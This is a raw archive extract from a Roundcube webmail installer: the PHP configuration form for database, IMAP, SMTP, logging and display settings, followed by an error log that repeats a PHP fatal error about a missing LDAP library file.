$input_tempdir = new html_inputfield(['name' => '_temp_dir', 'size' => 30, 'id' => 'cfgtempdir']);
echo $input_tempdir->show($RCI->getprop('temp_dir'));

?>
<div>Use this folder to store temp files (must be writeable for webserver)</div>
</dd>

<dt class="propname">des_key</dt>
<dd>
<?php

$input_deskey = new html_inputfield(['name' => '_des_key', 'size' => 30, 'id' => 'cfgdeskey']);
echo $input_deskey->show($RCI->getprop('des_key'));

?>
<div>This key is used to encrypt the users imap password before storing in the session record</div>
<p class="hint">It's a random generated string to ensure that every installation has its own key.</p>
</dd>

<dt class="propname">ip_check</dt>
<dd>
<?php

$check_ipcheck = new html_checkbox(['name' => '_ip_check', 'id' => 'cfgipcheck']);
echo $check_ipcheck->show(intval($RCI->getprop('ip_check')), array('value' => 1));

?>
<label for="cfgipcheck">Check client IP in session authorization</label><br />

<p class="hint">This increases security but can cause sudden logouts when someone uses a proxy with changing IPs.</p>
</dd>

<dt class="propname">enable_spellcheck</dt>
<dd>
<?php
$check_spell = new html_checkbox(['name' => '_enable_spellcheck', 'id' => 'cfgspellcheck']);
echo $check_spell->show(intval($RCI->getprop('enable_spellcheck')), ['value' => 1]);
?>

<label for="cfgspellcheck">Make use of the spell checker</label><br />
</dd>

<dt class="propname">spellcheck_engine</dt>
<dd>

<?php
$select_spell = new html_select(['name' => '_spellcheck_engine', 'id' => 'cfgspellcheckengine']);
if (extension_loaded('pspell')) {
    $select_spell->add('Pspell', 'pspell');
}
if (extension_loaded('enchant')) {
    $select_spell->add('Enchant', 'enchant');
}
$select_spell->add('Googie', 'googie');
$select_spell->add('ATD', 'atd');

echo $select_spell->show($RCI->is_post ? $_POST['_spellcheck_engine'] : 'pspell');
?>

<div>Which spell checker to use</div>
<p class="hint">Googie implies that the message content will be sent to external server to check the spelling.</p>
</dd>

<dt class="propname">identities_level</dt>
<dd>

<?php

$input_ilevel = new html_select(['name' => '_identities_level', 'id' => 'cfgidentitieslevel']);
$input_ilevel->add('many identities with possibility to edit all params', 0);
$input_ilevel->add('many identities with possibility to edit all params but not email address', 1);
$input_ilevel->add('one identity with possibility to edit all params', 2);
$input_ilevel->add('one identity with possibility to edit all params but not email address', 3);
$input_ilevel->add('one identity with possibility to edit only signature', 4);
echo $input_ilevel->show($RCI->getprop('identities_level'), 0);

?>

<div>Level of identities access</div>
<p class="hint">Defines what users can do with their identities.</p>
</dd>

</dl>
</fieldset>

<fieldset>
<legend>Logging & Debugging</legend>
<dl class="loggingblock">

<dt class="propname">log_driver</dt>
<dd>

<?php
$select_log_driver = new html_select(['name' => '_log_driver', 'id' => 'cfglogdriver']);
$select_log_driver->add(['file', 'syslog', 'stdout'], ['file', 'syslog', 'stdout']);
echo $select_log_driver->show($RCI->getprop('log_driver', 'file'));
?>

<div>How to do logging? 'file' - write to files in the log directory, 'syslog' - use the syslog facility, 'stdout' writes to the process' STDOUT file descriptor.</div>
</dd>

<dt class="propname">log_dir</dt>
<dd>
<?php

$input_logdir = new html_inputfield(['name' => '_log_dir', 'size' => 30, 'id' => 'cfglogdir']);
echo $input_logdir->show($RCI->getprop('log_dir'));

?>
<div>Use this folder to store log files (must be writeable for webserver). Note that this only applies if you are using the 'file' log_driver.</div>
</dd>

<dt class="propname">syslog_id</dt>
<dd>
<?php

$input_syslogid = new html_inputfield(['name' => '_syslog_id', 'size' => 30, 'id' => 'cfgsyslogid']);
echo $input_syslogid->show($RCI->getprop('syslog_id', 'roundcube'));

?>
<div>What ID to use when logging with syslog. Note that this only applies if you are using the 'syslog' log_driver.</div>
</dd>

<dt class="propname">syslog_facility</dt>
<dd>
<?php

$input_syslogfacility = new html_select(['name' => '_syslog_facility', 'id' => 'cfgsyslogfacility']);
$input_syslogfacility->add('user-level messages', LOG_USER);
if (defined('LOG_MAIL')) {
    $input_syslogfacility->add('mail subsystem', LOG_MAIL);
}
if (defined('LOG_LOCAL0')) {
    $input_syslogfacility->add('local level 0', LOG_LOCAL0);
    $input_syslogfacility->add('local level 1', LOG_LOCAL1);
    $input_syslogfacility->add('local level 2', LOG_LOCAL2);
    $input_syslogfacility->add('local level 3', LOG_LOCAL3);
    $input_syslogfacility->add('local level 4', LOG_LOCAL4);
    $input_syslogfacility->add('local level 5', LOG_LOCAL5);
    $input_syslogfacility->add('local level 6', LOG_LOCAL6);
    $input_syslogfacility->add('local level 7', LOG_LOCAL7);
}
echo $input_syslogfacility->show($RCI->getprop('syslog_facility'), LOG_USER);

?>
<div>What ID to use when logging with syslog.  Note that this only applies if you are using the 'syslog' log_driver.</div>
</dd>

</dl>
</fieldset>

<fieldset>
<legend>Database setup</legend>
<dl class="configblock" id="cgfblockdb">
<dt class="propname">db_dsnw</dt>
<dd>
<p>Database settings for read/write operations:</p>
<?php

$select_dbtype = new html_select(['name' => '_dbtype', 'id' => 'cfgdbtype']);
foreach ($RCI->supported_dbs as $database => $ext) {
    if (extension_loaded($ext)) {
        $select_dbtype->add($database, substr($ext, 4));
    }
}

$input_dbhost = new html_inputfield(['name' => '_dbhost', 'size' => 20, 'id' => 'cfgdbhos']);
$input_dbname = new html_inputfield(['name' => '_dbname', 'size' => 20, 'id' => 'cfgdbname']);
$input_dbuser = new html_inputfield(['name' => '_dbuser', 'size' => 20, 'id' => 'cfgdbuser']);
$input_dbpass = new html_inputfield(['name' => '_dbpass', 'size' => 20, 'id' => 'cfgdbpass']);

$dsnw = rcube_db::parse_dsn($RCI->getprop('db_dsnw'));

echo $select_dbtype->show($RCI->is_post ? $_POST['_dbtype'] : ($dsnw['phptype'] ?? ''));
echo '<label for="cfgdbtype">Database type</label><br />';
echo $input_dbhost->show($RCI->is_post ? $_POST['_dbhost'] : ($dsnw['hostspec'] ?? ''));
echo '<label for="cfgdbhost">Database server (omit for sqlite)</label><br />';
echo $input_dbname->show($RCI->is_post ? $_POST['_dbname'] : ($dsnw['database'] ?? ''));
echo '<label for="cfgdbname">Database name (use absolute path and filename for sqlite)</label><br />';
echo $input_dbuser->show($RCI->is_post ? $_POST['_dbuser'] : ($dsnw['username'] ?? ''));
echo '<label for="cfgdbuser">Database user name (needs write permissions) (omit for sqlite)</label><br />';
echo $input_dbpass->show($RCI->is_post ? $_POST['_dbpass'] : ($dsnw['password'] ?? ''));
echo '<label for="cfgdbpass">Database password (omit for sqlite)</label><br />';

?>
</dd>

<dt class="propname">db_prefix</dt>
<dd>
<?php

$input_prefix = new html_inputfield(['name' => '_db_prefix', 'size' => 20, 'id' => 'cfgdbprefix']);
echo $input_prefix->show($RCI->getprop('db_prefix'));

?>
<div>Optional prefix that will be added to database object names (tables and sequences).</div>
</dd>

</dl>
</fieldset>


<fieldset>
<legend>IMAP Settings</legend>
<dl class="configblock" id="cgfblockimap">
<dt class="propname">imap_host</dt>
<dd>
<div id="defaulthostlist">
<?php

$text_imaphost = new html_inputfield(['name' => '_imap_host[]', 'size' => 30]);
$default_hosts = $RCI->get_hostlist();

if (empty($default_hosts)) {
    $default_hosts = [''];
}

$i = 0;
foreach ($default_hosts as $host) {
    echo '<div id="defaulthostentry'.$i.'">' . $text_imaphost->show($host);
    if ($i++ > 0) {
        echo '<a href="#" onclick="removehostfield(this.parentNode);return false" class="removelink" title="Remove this entry">remove</a>';
    }
    echo '</div>';
}

?>
</div>
<div><a href="javascript:addhostfield()" class="addlink" title="Add another field">add</a></div>

<div>The IMAP host(s) chosen to perform the log-in</div>
<p class="hint">Leave blank to show a textbox at login. To use SSL/STARTTLS connection add ssl:// or tls:// prefix. It can also contain the port number, e.g. tls://imap.domain.tld:143.
</dd>

<dt class="propname">username_domain</dt>
<dd>
<?php

$text_userdomain = new html_inputfield(['name' => '_username_domain', 'size' => 30, 'id' => 'cfguserdomain']);
echo $text_userdomain->show($RCI->getprop('username_domain'));

?>
<div>Automatically add this domain to user names for login</div>

<p class="hint">Only for IMAP servers that require full e-mail addresses for login</p>
</dd>

<dt class="propname">auto_create_user</dt>
<dd>
<?php

$check_autocreate = new html_checkbox(['name' => '_auto_create_user', 'id' => 'cfgautocreate']);
echo $check_autocreate->show(intval($RCI->getprop('auto_create_user')), ['value' => 1]);

?>
<label for="cfgautocreate">Automatically create a new Roundcube user when log-in the first time</label><br />

<p class="hint">A user is authenticated by the IMAP server but it requires a local record to store settings
and contacts. With this option enabled a new user record will automatically be created once the IMAP login succeeds.</p>

<p class="hint">If this option is disabled, the login only succeeds if there's a matching user-record in the local Roundcube database
what means that you have to create those records manually or disable this option after the first login.</p>
</dd>

<dt class="propname">sent_mbox</dt>
<dd>
<?php

$text_sentmbox = new html_inputfield(['name' => '_sent_mbox', 'size' => 20, 'id' => 'cfgsentmbox']);
echo $text_sentmbox->show($RCI->getprop('sent_mbox'));

?>
<div>Store sent messages in this folder</div>

<p class="hint">Leave blank if sent messages should not be stored. Note: folder must include namespace prefix if any.</p>
</dd>

<dt class="propname">trash_mbox</dt>
<dd>
<?php

$text_trashmbox = new html_inputfield(['name' => '_trash_mbox', 'size' => 20, 'id' => 'cfgtrashmbox']);
echo $text_trashmbox->show($RCI->getprop('trash_mbox'));

?>
<div>Move messages to this folder when deleting them</div>

<p class="hint">Leave blank if they should be deleted directly. Note: folder must include namespace prefix if any.</p>
</dd>

<dt class="propname">drafts_mbox</dt>
<dd>
<?php

$text_draftsmbox = new html_inputfield(['name' => '_drafts_mbox', 'size' => 20, 'id' => 'cfgdraftsmbox']);
echo $text_draftsmbox->show($RCI->getprop('drafts_mbox'));

?>
<div>Store draft messages in this folder</div>

<p class="hint">Leave blank if they should not be stored. Note: folder must include namespace prefix if any.</p>
</dd>

<dt class="propname">junk_mbox</dt>
<dd>
<?php

$text_junkmbox = new html_inputfield(['name' => '_junk_mbox', 'size' => 20, 'id' => 'cfgjunkmbox']);
echo $text_junkmbox->show($RCI->getprop('junk_mbox'));

?>
<div>Store spam messages in this folder</div>

<p class="hint">Note: folder must include namespace prefix if any.</p>
</dd>

</dd>
</dl>
</fieldset>

<fieldset>
<legend>SMTP Settings</legend>
<dl class="configblock" id="cgfblocksmtp">
<dt class="propname">smtp_host</dt>
<dd>
<?php

$text_smtphost = new html_inputfield(['name' => '_smtp_host', 'size' => 30, 'id' => 'cfgsmtphost']);
echo $text_smtphost->show($RCI->getprop('smtp_host', 'localhost:587'));

?>
<div>Use this host for sending mails</div>
<p class="hint">To use SSL/STARTTLS connection add ssl:// or tls:// prefix. It can also contain the port number, e.g. tls://smtp.domain.tld:587.</p>
</dd>

<dt class="propname">smtp_user/smtp_pass</dt>
<dd>
<?php

$text_smtpuser = new html_inputfield(['name' => '_smtp_user', 'size' => 20, 'id' => 'cfgsmtpuser']);
$text_smtppass = new html_inputfield(['name' => '_smtp_pass', 'size' => 20, 'id' => 'cfgsmtppass']);
echo $text_smtpuser->show($RCI->getprop('smtp_user'));
echo $text_smtppass->show($RCI->getprop('smtp_pass'));

?>
<div>SMTP username and password (if required)</div>
<p>
<?php

$check_smtpuser = new html_checkbox(['name' => '_smtp_user_u', 'id' => 'cfgsmtpuseru']);
echo $check_smtpuser->show($RCI->getprop('smtp_user') == '%u' || !empty($_POST['_smtp_user_u']) ? 1 : 0, ['value' => 1]);

?>
<label for="cfgsmtpuseru">Use the current IMAP username and password for SMTP authentication</label>
</p>
</dd>

<dt class="propname">smtp_log</dt>
<dd>
<?php

$check_smtplog = new html_checkbox(['name' => '_smtp_log', 'id' => 'cfgsmtplog']);
echo $check_smtplog->show(intval($RCI->getprop('smtp_log')), ['value' => 1]);

?>
<label for="cfgsmtplog">Log sent messages in <tt>{log_dir}/sendmail</tt> or to syslog.</label><br />
</dd>

</dl>
</fieldset>


<fieldset>
<legend>Display settings &amp; user prefs</legend>
<dl class="configblock" id="cgfblockdisplay">

<dt class="propname">language <span class="userconf">*</span></dt>
<dd>
<?php

$input_locale = new html_inputfield(['name' => '_language', 'size' => 6, 'id' => 'cfglocale']);
echo $input_locale->show($RCI->getprop('language'));

?>
<div>The default locale setting. This also defines the language of the login screen.<br/>Leave it empty to auto-detect the user agent language.</div>
<p class="hint">Enter a <a href="http://www.faqs.org/rfcs/rfc1766">RFC1766</a> formatted language name. Examples: en_US, de_DE, de_CH, fr_FR, pt_BR</p>
</dd>

<dt class="propname">skin <span class="userconf">*</span></dt>
<dd>
<?php

$input_skin = new html_select(['name' => '_skin', 'id' => 'cfgskin']);
$skins = $RCI->list_skins();
$input_skin->add($skins, $skins);
echo $input_skin->show($RCI->getprop('skin'));

?>
<div>Name of interface skin (folder in /skins)</div>
</dd>

<dt class="propname">mail_pagesize <span class="userconf">*</span></dt>
<dd>
<?php

$pagesize = $RCI->getprop('mail_pagesize');
if (!$pagesize) {
    $pagesize = $RCI->getprop('pagesize');
}
$input_pagesize = new html_inputfield(['name' => '_mail_pagesize', 'size' => 6, 'id' => 'cfgmailpagesize']);
echo $input_pagesize->show($pagesize);

?>
<div>Show up to X items in the mail messages list view.</div>
</dd>

<dt class="propname">addressbook_pagesize <span class="userconf">*</span></dt>
<dd>
<?php

$pagesize = $RCI->getprop('addressbook_pagesize');
if (!$pagesize) {
    $pagesize = $RCI->getprop('pagesize');
}
$input_pagesize = new html_inputfield(['name' => '_addressbook_pagesize', 'size' => 6, 'id' => 'cfgabookpagesize']);
echo $input_pagesize->show($pagesize);

?>
<div>Show up to X items in the contacts list view.</div>
</dd>

<dt class="propname">prefer_html <span class="userconf">*</span></dt>
<dd>
<?php

$check_htmlview = new html_checkbox(['name' => '_prefer_html', 'id' => 'cfghtmlview', 'value' => 1]);
echo $check_htmlview->show(intval($RCI->getprop('prefer_html')));

?>
<label for="cfghtmlview">Prefer displaying HTML messages</label><br />
</dd>

<dt class="propname">htmleditor <span class="userconf">*</span></dt>
<dd>
<label for="cfghtmlcompose">Compose HTML formatted messages</label>
<?php

$select_htmlcomp = new html_select(['name' => '_htmleditor', 'id' => 'cfghtmlcompose']);
$select_htmlcomp->add('never', 0);
$select_htmlcomp->add('always', 1);
$select_htmlcomp->add('on reply to HTML message only', 2);
echo $select_htmlcomp->show(intval($RCI->getprop('htmleditor')));

?>
</dd>

<dt class="propname">draft_autosave <span class="userconf">*</span></dt>
<dd>
<label for="cfgautosave">Save compose message every</label>
<?php

$select_autosave = new html_select(['name' => '_draft_autosave', 'id' => 'cfgautosave']);
$select_autosave->add('never', 0);
foreach ([1, 3, 5, 10] as $i => $min) {
    $select_autosave->add("$min min", $min * 60);
}

echo $select_autosave->show(intval($RCI->getprop('draft_autosave')));

?>
</dd>

<dt class="propname">mdn_requests <span class="userconf">*</span></dt>
<dd>
<?php

$mdn_opts = [
    0 => 'ask the user',
    1 => 'send automatically',
    3 => 'send receipt to user contacts, otherwise ask the user',
    4 => 'send receipt to user contacts, otherwise ignore',
    2 => 'ignore',
];

$select_mdnreq = new html_select(['name' => '_mdn_requests', 'id' => 'cfgmdnreq']);
$select_mdnreq->add(array_values($mdn_opts), array_keys($mdn_opts));
echo $select_mdnreq->show(intval($RCI->getprop('mdn_requests')));

?>
<div>Behavior if a received message requests a message delivery notification (read receipt)</div>
</dd>

<dt class="propname">mime_param_folding <span class="userconf">*</span></dt>
<dd>
<?php

$select_param_folding = new html_select(['name' => '_mime_param_folding', 'id' => 'cfgmimeparamfolding']);
$select_param_folding->add('Full RFC 2231 (Roundcube, Thunderbird)', '0'); 
$select_param_folding->add('RFC 2047/2231 (MS Outlook, OE)', '1');
$select_param_folding->add('Full RFC 2047 (deprecated)', '2');

echo $select_param_folding->show(strval($RCI->getprop('mime_param_folding')));

?>
<div>How to encode attachment long/non-ascii names</div>
</dd>

</dl>

<p class="hint"><span class="userconf">*</span>&nbsp; These settings are defaults for the user preferences</p>
</fieldset>

<fieldset>
<legend>Plugins</legend>
<dl class="configblock" id="cgfblockdisplay">

<?php
$plugins = $RCI->list_plugins();
foreach ($plugins as $p) {
    $p_check = new html_checkbox(['name' => '_plugins_'.$p['name'], 'id' => 'cfgplugin_'.$p['name'], 'value' => $p['name']]);
    echo '<dt class="propname"><label>';
    echo $p_check->show($p['enabled'] ? $p['name'] : 0);
    echo '&nbsp;' . $p['name'] . '</label></dt><dd>';
    echo '<label for="cfgplugin_'.$p['name'].'" class="hint">' . $p['desc'] . '</label><br/></dd>';
}

?>
</dl>

<p class="hint">Please consider checking dependencies of enabled plugins</p>
</fieldset>

<?php

echo '<p><input type="submit" name="submit" value="' . ($RCI->configured ? 'UPDATE' : 'CREATE') . ' CONFIG" ' . ($RCI->failures ? 'disabled' : '') . ' /></p>';

?>
</form>
PKh�\�R�|�|installer/error_lognu�[���[30-Mar-2026 11:57:21 UTC] PHP Warning:  require_once(/home/lnzliplg/public_html/roundcube/vendor/kolab/net_ldap3/lib/Net/LDAP3/Result.php): Failed to open stream: No such file or directory in /home/lnzliplg/public_html/roundcube/vendor/kolab/net_ldap3/lib/Net/LDAP3.php on line 35
[30-Mar-2026 11:57:21 UTC] PHP Fatal error:  Uncaught Error: Failed opening required '/home/lnzliplg/public_html/roundcube/vendor/kolab/net_ldap3/lib/Net/LDAP3/Result.php' (include_path='/home/lnzliplg/public_html/roundcube/vendor/pear/pear_exception:/home/lnzliplg/public_html/roundcube/vendor/pear/console_getopt:/home/lnzliplg/public_html/roundcube/vendor/pear/pear-core-minimal/src:/home/lnzliplg/public_html/roundcube/vendor/pear/net_ldap2:/home/lnzliplg/public_html/roundcube/vendor/pear/auth_sasl:/home/lnzliplg/public_html/roundcube/vendor/pear/console_commandline:/home/lnzliplg/public_html/roundcube/vendor/pear/crypt_gpg:/home/lnzliplg/public_html/roundcube/vendor/pear/mail_mime:/home/lnzliplg/public_html/roundcube/vendor/pear/net_socket:/home/lnzliplg/public_html/roundcube/vendor/pear/net_smtp:/home/lnzliplg/public_html/roundcube/program/lib:.:/opt/alt/php81/usr/share/pear:/opt/alt/php81/usr/share/php:/usr/share/pear:/usr/share/php') in /home/lnzliplg/public_html/roundcube/vendor/kolab/net_ldap3/lib/Net/LDAP3.php:35
Stack trace:
#0 /home/lnzliplg/public_html/roundcube/vendor/composer/ClassLoader.php(576): include()
#1 /home/lnzliplg/public_html/roundcube/vendor/composer/ClassLoader.php(427): Composer\Autoload\{closure}()
#2 [internal function]: Composer\Autoload\ClassLoader->loadClass()
#3 /home/lnzliplg/public_html/roundcube/installer/check.php(203): class_exists()
#4 /home/lnzliplg/public_html/roundcube/installer/index.php(163): include('/home/lnzliplg/...')
#5 {main}
  thrown in /home/lnzliplg/public_html/roundcube/vendor/kolab/net_ldap3/lib/Net/LDAP3.php on line 35
[03-Apr-2026 23:53:36 UTC] PHP Warning:  require_once(/home/lnzliplg/public_html/roundcube/vendor/kolab/net_ldap3/lib/Net/LDAP3/Result.php): Failed to open stream: No such file or directory in /home/lnzliplg/public_html/roundcube/vendor/kolab/net_ldap3/lib/Net/LDAP3.php on line 35
[03-Apr-2026 23:53:36 UTC] PHP Fatal error:  Uncaught Error: Failed opening required '/home/lnzliplg/public_html/roundcube/vendor/kolab/net_ldap3/lib/Net/LDAP3/Result.php' (include_path='/home/lnzliplg/public_html/roundcube/vendor/pear/pear_exception:/home/lnzliplg/public_html/roundcube/vendor/pear/console_getopt:/home/lnzliplg/public_html/roundcube/vendor/pear/pear-core-minimal/src:/home/lnzliplg/public_html/roundcube/vendor/pear/net_ldap2:/home/lnzliplg/public_html/roundcube/vendor/pear/auth_sasl:/home/lnzliplg/public_html/roundcube/vendor/pear/console_commandline:/home/lnzliplg/public_html/roundcube/vendor/pear/crypt_gpg:/home/lnzliplg/public_html/roundcube/vendor/pear/mail_mime:/home/lnzliplg/public_html/roundcube/vendor/pear/net_socket:/home/lnzliplg/public_html/roundcube/vendor/pear/net_smtp:/home/lnzliplg/public_html/roundcube/program/lib:.:/opt/alt/php81/usr/share/pear:/opt/alt/php81/usr/share/php:/usr/share/pear:/usr/share/php') in /home/lnzliplg/public_html/roundcube/vendor/kolab/net_ldap3/lib/Net/LDAP3.php:35
Stack trace:
#0 /home/lnzliplg/public_html/roundcube/vendor/composer/ClassLoader.php(576): include()
#1 /home/lnzliplg/public_html/roundcube/vendor/composer/ClassLoader.php(427): Composer\Autoload\{closure}()
#2 [internal function]: Composer\Autoload\ClassLoader->loadClass()
#3 /home/lnzliplg/public_html/roundcube/installer/check.php(203): class_exists()
#4 /home/lnzliplg/public_html/roundcube/installer/index.php(163): include('/home/lnzliplg/...')
#5 {main}
  thrown in /home/lnzliplg/public_html/roundcube/vendor/kolab/net_ldap3/lib/Net/LDAP3.php on line 35
[03-Apr-2026 23:53:37 UTC] PHP Warning:  require_once(/home/lnzliplg/public_html/roundcube/vendor/kolab/net_ldap3/lib/Net/LDAP3/Result.php): Failed to open stream: No such file or directory in /home/lnzliplg/public_html/roundcube/vendor/kolab/net_ldap3/lib/Net/LDAP3.php on line 35
[03-Apr-2026 23:53:37 UTC] PHP Fatal error:  Uncaught Error: Failed opening required '/home/lnzliplg/public_html/roundcube/vendor/kolab/net_ldap3/lib/Net/LDAP3/Result.php' (include_path='/home/lnzliplg/public_html/roundcube/vendor/pear/pear_exception:/home/lnzliplg/public_html/roundcube/vendor/pear/console_getopt:/home/lnzliplg/public_html/roundcube/vendor/pear/pear-core-minimal/src:/home/lnzliplg/public_html/roundcube/vendor/pear/net_ldap2:/home/lnzliplg/public_html/roundcube/vendor/pear/auth_sasl:/home/lnzliplg/public_html/roundcube/vendor/pear/console_commandline:/home/lnzliplg/public_html/roundcube/vendor/pear/crypt_gpg:/home/lnzliplg/public_html/roundcube/vendor/pear/mail_mime:/home/lnzliplg/public_html/roundcube/vendor/pear/net_socket:/home/lnzliplg/public_html/roundcube/vendor/pear/net_smtp:/home/lnzliplg/public_html/roundcube/program/lib:.:/opt/alt/php81/usr/share/pear:/opt/alt/php81/usr/share/php:/usr/share/pear:/usr/share/php') in /home/lnzliplg/public_html/roundcube/vendor/kolab/net_ldap3/lib/Net/LDAP3.php:35
Stack trace:
#0 /home/lnzliplg/public_html/roundcube/vendor/composer/ClassLoader.php(576): include()
#1 /home/lnzliplg/public_html/roundcube/vendor/composer/ClassLoader.php(427): Composer\Autoload\{closure}()
#2 [internal function]: Composer\Autoload\ClassLoader->loadClass()
#3 /home/lnzliplg/public_html/roundcube/installer/check.php(203): class_exists()
#4 /home/lnzliplg/public_html/roundcube/installer/index.php(163): include('/home/lnzliplg/...')
#5 {main}
  thrown in /home/lnzliplg/public_html/roundcube/vendor/kolab/net_ldap3/lib/Net/LDAP3.php on line 35
[03-Apr-2026 23:54:01 UTC] PHP Warning:  require_once(/home/lnzliplg/public_html/roundcube/vendor/kolab/net_ldap3/lib/Net/LDAP3/Result.php): Failed to open stream: No such file or directory in /home/lnzliplg/public_html/roundcube/vendor/kolab/net_ldap3/lib/Net/LDAP3.php on line 35
[03-Apr-2026 23:54:01 UTC] PHP Fatal error:  Uncaught Error: Failed opening required '/home/lnzliplg/public_html/roundcube/vendor/kolab/net_ldap3/lib/Net/LDAP3/Result.php' (include_path='/home/lnzliplg/public_html/roundcube/vendor/pear/pear_exception:/home/lnzliplg/public_html/roundcube/vendor/pear/console_getopt:/home/lnzliplg/public_html/roundcube/vendor/pear/pear-core-minimal/src:/home/lnzliplg/public_html/roundcube/vendor/pear/net_ldap2:/home/lnzliplg/public_html/roundcube/vendor/pear/auth_sasl:/home/lnzliplg/public_html/roundcube/vendor/pear/console_commandline:/home/lnzliplg/public_html/roundcube/vendor/pear/crypt_gpg:/home/lnzliplg/public_html/roundcube/vendor/pear/mail_mime:/home/lnzliplg/public_html/roundcube/vendor/pear/net_socket:/home/lnzliplg/public_html/roundcube/vendor/pear/net_smtp:/home/lnzliplg/public_html/roundcube/program/lib:.:/opt/alt/php81/usr/share/pear:/opt/alt/php81/usr/share/php:/usr/share/pear:/usr/share/php') in /home/lnzliplg/public_html/roundcube/vendor/kolab/net_ldap3/lib/Net/LDAP3.php:35
Stack trace:
#0 /home/lnzliplg/public_html/roundcube/vendor/composer/ClassLoader.php(576): include()
#1 /home/lnzliplg/public_html/roundcube/vendor/composer/ClassLoader.php(427): Composer\Autoload\{closure}()
#2 [internal function]: Composer\Autoload\ClassLoader->loadClass()
#3 /home/lnzliplg/public_html/roundcube/installer/check.php(203): class_exists()
#4 /home/lnzliplg/public_html/roundcube/installer/index.php(163): include('/home/lnzliplg/...')
#5 {main}
  thrown in /home/lnzliplg/public_html/roundcube/vendor/kolab/net_ldap3/lib/Net/LDAP3.php on line 35
[03-Apr-2026 23:54:03 UTC] PHP Warning:  require_once(/home/lnzliplg/public_html/roundcube/vendor/kolab/net_ldap3/lib/Net/LDAP3/Result.php): Failed to open stream: No such file or directory in /home/lnzliplg/public_html/roundcube/vendor/kolab/net_ldap3/lib/Net/LDAP3.php on line 35
[03-Apr-2026 23:54:03 UTC] PHP Fatal error:  Uncaught Error: Failed opening required '/home/lnzliplg/public_html/roundcube/vendor/kolab/net_ldap3/lib/Net/LDAP3/Result.php' (include_path='/home/lnzliplg/public_html/roundcube/vendor/pear/pear_exception:/home/lnzliplg/public_html/roundcube/vendor/pear/console_getopt:/home/lnzliplg/public_html/roundcube/vendor/pear/pear-core-minimal/src:/home/lnzliplg/public_html/roundcube/vendor/pear/net_ldap2:/home/lnzliplg/public_html/roundcube/vendor/pear/auth_sasl:/home/lnzliplg/public_html/roundcube/vendor/pear/console_commandline:/home/lnzliplg/public_html/roundcube/vendor/pear/crypt_gpg:/home/lnzliplg/public_html/roundcube/vendor/pear/mail_mime:/home/lnzliplg/public_html/roundcube/vendor/pear/net_socket:/home/lnzliplg/public_html/roundcube/vendor/pear/net_smtp:/home/lnzliplg/public_html/roundcube/program/lib:.:/opt/alt/php81/usr/share/pear:/opt/alt/php81/usr/share/php:/usr/share/pear:/usr/share/php') in /home/lnzliplg/public_html/roundcube/vendor/kolab/net_ldap3/lib/Net/LDAP3.php:35
Stack trace:
#0 /home/lnzliplg/public_html/roundcube/vendor/composer/ClassLoader.php(576): include()
#1 /home/lnzliplg/public_html/roundcube/vendor/composer/ClassLoader.php(427): Composer\Autoload\{closure}()
#2 [internal function]: Composer\Autoload\ClassLoader->loadClass()
#3 /home/lnzliplg/public_html/roundcube/installer/check.php(203): class_exists()
#4 /home/lnzliplg/public_html/roundcube/installer/index.php(163): include('/home/lnzliplg/...')
#5 {main}
  thrown in /home/lnzliplg/public_html/roundcube/vendor/kolab/net_ldap3/lib/Net/LDAP3.php on line 35
[03-Apr-2026 23:57:18 UTC] PHP Warning:  require_once(/home/lnzliplg/public_html/roundcube/vendor/kolab/net_ldap3/lib/Net/LDAP3/Result.php): Failed to open stream: No such file or directory in /home/lnzliplg/public_html/roundcube/vendor/kolab/net_ldap3/lib/Net/LDAP3.php on line 35
[03-Apr-2026 23:57:18 UTC] PHP Fatal error:  Uncaught Error: Failed opening required '/home/lnzliplg/public_html/roundcube/vendor/kolab/net_ldap3/lib/Net/LDAP3/Result.php' (include_path='/home/lnzliplg/public_html/roundcube/vendor/pear/pear_exception:/home/lnzliplg/public_html/roundcube/vendor/pear/console_getopt:/home/lnzliplg/public_html/roundcube/vendor/pear/pear-core-minimal/src:/home/lnzliplg/public_html/roundcube/vendor/pear/net_ldap2:/home/lnzliplg/public_html/roundcube/vendor/pear/auth_sasl:/home/lnzliplg/public_html/roundcube/vendor/pear/console_commandline:/home/lnzliplg/public_html/roundcube/vendor/pear/crypt_gpg:/home/lnzliplg/public_html/roundcube/vendor/pear/mail_mime:/home/lnzliplg/public_html/roundcube/vendor/pear/net_socket:/home/lnzliplg/public_html/roundcube/vendor/pear/net_smtp:/home/lnzliplg/public_html/roundcube/program/lib:.:/opt/alt/php81/usr/share/pear:/opt/alt/php81/usr/share/php:/usr/share/pear:/usr/share/php') in /home/lnzliplg/public_html/roundcube/vendor/kolab/net_ldap3/lib/Net/LDAP3.php:35
Stack trace:
#0 /home/lnzliplg/public_html/roundcube/vendor/composer/ClassLoader.php(576): include()
#1 /home/lnzliplg/public_html/roundcube/vendor/composer/ClassLoader.php(427): Composer\Autoload\{closure}()
#2 [internal function]: Composer\Autoload\ClassLoader->loadClass()
#3 /home/lnzliplg/public_html/roundcube/installer/check.php(203): class_exists()
#4 /home/lnzliplg/public_html/roundcube/installer/index.php(163): include('/home/lnzliplg/...')
#5 {main}
  thrown in /home/lnzliplg/public_html/roundcube/vendor/kolab/net_ldap3/lib/Net/LDAP3.php on line 35
[03-Apr-2026 23:57:20 UTC] PHP Warning:  require_once(/home/lnzliplg/public_html/roundcube/vendor/kolab/net_ldap3/lib/Net/LDAP3/Result.php): Failed to open stream: No such file or directory in /home/lnzliplg/public_html/roundcube/vendor/kolab/net_ldap3/lib/Net/LDAP3.php on line 35
[03-Apr-2026 23:57:20 UTC] PHP Fatal error:  Uncaught Error: Failed opening required '/home/lnzliplg/public_html/roundcube/vendor/kolab/net_ldap3/lib/Net/LDAP3/Result.php' (include_path='/home/lnzliplg/public_html/roundcube/vendor/pear/pear_exception:/home/lnzliplg/public_html/roundcube/vendor/pear/console_getopt:/home/lnzliplg/public_html/roundcube/vendor/pear/pear-core-minimal/src:/home/lnzliplg/public_html/roundcube/vendor/pear/net_ldap2:/home/lnzliplg/public_html/roundcube/vendor/pear/auth_sasl:/home/lnzliplg/public_html/roundcube/vendor/pear/console_commandline:/home/lnzliplg/public_html/roundcube/vendor/pear/crypt_gpg:/home/lnzliplg/public_html/roundcube/vendor/pear/mail_mime:/home/lnzliplg/public_html/roundcube/vendor/pear/net_socket:/home/lnzliplg/public_html/roundcube/vendor/pear/net_smtp:/home/lnzliplg/public_html/roundcube/program/lib:.:/opt/alt/php81/usr/share/pear:/opt/alt/php81/usr/share/php:/usr/share/pear:/usr/share/php') in /home/lnzliplg/public_html/roundcube/vendor/kolab/net_ldap3/lib/Net/LDAP3.php:35
Stack trace:
